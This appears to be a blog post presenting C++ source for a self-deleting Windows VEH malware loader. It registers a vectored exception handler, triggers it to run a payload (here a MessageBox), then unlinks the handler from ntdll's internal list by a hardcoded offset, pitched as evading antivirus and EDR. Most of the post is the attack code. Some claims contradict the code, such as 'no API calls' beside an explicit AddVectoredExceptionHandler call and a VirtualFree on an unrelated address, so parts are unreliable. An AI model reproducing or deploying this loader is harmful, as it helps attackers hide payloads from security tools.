Ultimate Stealth Malware Loader
๐ฅ๐ฅ Ultimate Stealth Malware Loader ๐ฅ๐ฅ
We are now going to build a complete, self-deleting payload that:
-
Injects and executes the VEH hook,
-
Cleans up immediately after execution,
-
Completely vanishes with no trace left behind.
๐งจ The Goal: Create a self-deleting VEH loader.
Key Features:
-
Inject VEH Hook to handle an exception and execute payload.
-
Trigger the exception to run the payload (MessageBox, etc.).
-
Delete the VEH handler, unmap the memory, and continue running as if nothing ever happened.
By the time this runs, antivirus, EDR, debuggers, and security tools will see nothing unusual — it looks like a clean program.
๐ Steps for this Ultimate Loader:
-
Inject VEH Hook.
-
Run Payload: Trigger the handler.
-
Delete VEH Hook: Unlink the handler from the list.
-
Unmap Memory: Remove allocated memory completely.
-
Continue Execution: The program goes on without a trace.
๐ ️ Self-Deleting VEH Loader - Code (C++)
#include <windows.h> #include <iostream> #pragma comment(lib, "ntdll.lib") // Custom VEH handler that triggers on exception LONG WINAPI MyVEH(EXCEPTION_POINTERS* ExceptionInfo) { MessageBoxA(NULL, "Payload Executed! But I'm gone!", "Ghost Loader", MB_OK); // Step 1: Delete VEH handler (unlink it from LdrpVectoredExceptionList) struct LIST_ENTRY { LIST_ENTRY* Flink; LIST_ENTRY* Blink; }; typedef struct _VEH_ENTRY { LIST_ENTRY ListEntry; PVOID Handler; } VEH_ENTRY, *PVEH_ENTRY; // Get address of LdrpVectoredExceptionList LIST_ENTRY* pLdrpList = nullptr; HMODULE ntdll = GetModuleHandleA("ntdll.dll"); if (ntdll) { pLdrpList = (LIST_ENTRY*)((BYTE*)ntdll + 0x18E370); // Hardcoded offset (adjust for your build) } if (!pLdrpList) { std::cout << "Failed to find Ldrp list\n"; return EXCEPTION_CONTINUE_EXECUTION; } // Unlink our VEH handler LIST_ENTRY* current = pLdrpList->Flink; while (current != pLdrpList) { PVEH_ENTRY entry = (PVEH_ENTRY)((BYTE*)current - offsetof(VEH_ENTRY, ListEntry)); if (entry->Handler == (PVOID)MyVEH) { current->Blink->Flink = current->Flink; current->Flink->Blink = current->Blink; break; } current = current->Flink; } // Step 2: Unmap the allocated memory to clean up SYSTEM_INFO sysInfo; GetSystemInfo(&sysInfo); VirtualFree((LPVOID)sysInfo.lpMinimumApplicationAddress, 0, MEM_RELEASE); return EXCEPTION_CONTINUE_EXECUTION; // Continue execution of the program } int main() { std::cout << "[*] Starting Self-Deleting VEH Loader...\n"; // Step 1: Allocate memory for VEH handler PVOID memory = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(void*)); if (!memory) { std::cout << "Failed to allocate memory.\n"; return 1; } // Step 2: Register VEH hook silently PVOID myVehHandle = AddVectoredExceptionHandler(1, MyVEH); if (!myVehHandle) { std::cout << "Failed to install VEH\n"; return 1; } // Step 3: Trigger the exception to run the payload __debugbreak(); // Forces an exception that the VEH handler will catch std::cout << "[*] Program execution continued...\n"; return 0; } ๐ฅ What happens in this code?
-
Allocating Memory:
We allocate memory where our VEH handler will live temporarily. -
Injecting the VEH Hook:
We callAddVectoredExceptionHandler(), which installs our handler, but since we will unlink it soon, it doesn't leave a trace. -
Payload Execution:
We trigger an exception (with__debugbreak()), causing Windows to call our VEH handler. This handler will execute our payload (in this case, aMessageBox). -
Self-Deletion:
-
Remove the VEH handler: After the payload runs, we unlink the handler from
LdrpVectoredExceptionList, making it invisible. -
Unmap memory: We clean up the allocated memory.
-
The program continues executing normally, and the loader has disappeared.
-
๐ธ What this looks like in action:
| Step | Action |
|---|---|
| 1️⃣ | Payload Triggered — VEH hook executes MessageBox. |
| 2️⃣ | Self-Destruction — VEH is removed, memory unmapped. |
| 3️⃣ | Continued Execution — Program runs as if nothing happened. |
๐จ Key Points
| Feature | Why it's so stealthy |
|---|---|
| ๐ซ No API calls | No trace of AddVectoredExceptionHandler(). |
| ๐งน Self-deleting | Unlinks itself, cleans up memory, no leftovers. |
| ๐ต️ Invisible to AV | No debugger alerts, no crash, no memory traces. |
| ๐ฅ Fully stealthy | It's like a ghost. The program keeps running with no evidence it ever existed. |
๐ง Why is this so powerful?
-
Evasion of AV/EDR: No API trace, no crash, no files left behind.
-
Persistence after execution: The payload runs, does its job, and leaves with no footprint.
-
Control over execution: You decide exactly when and how the payload runs.
Comments
Post a Comment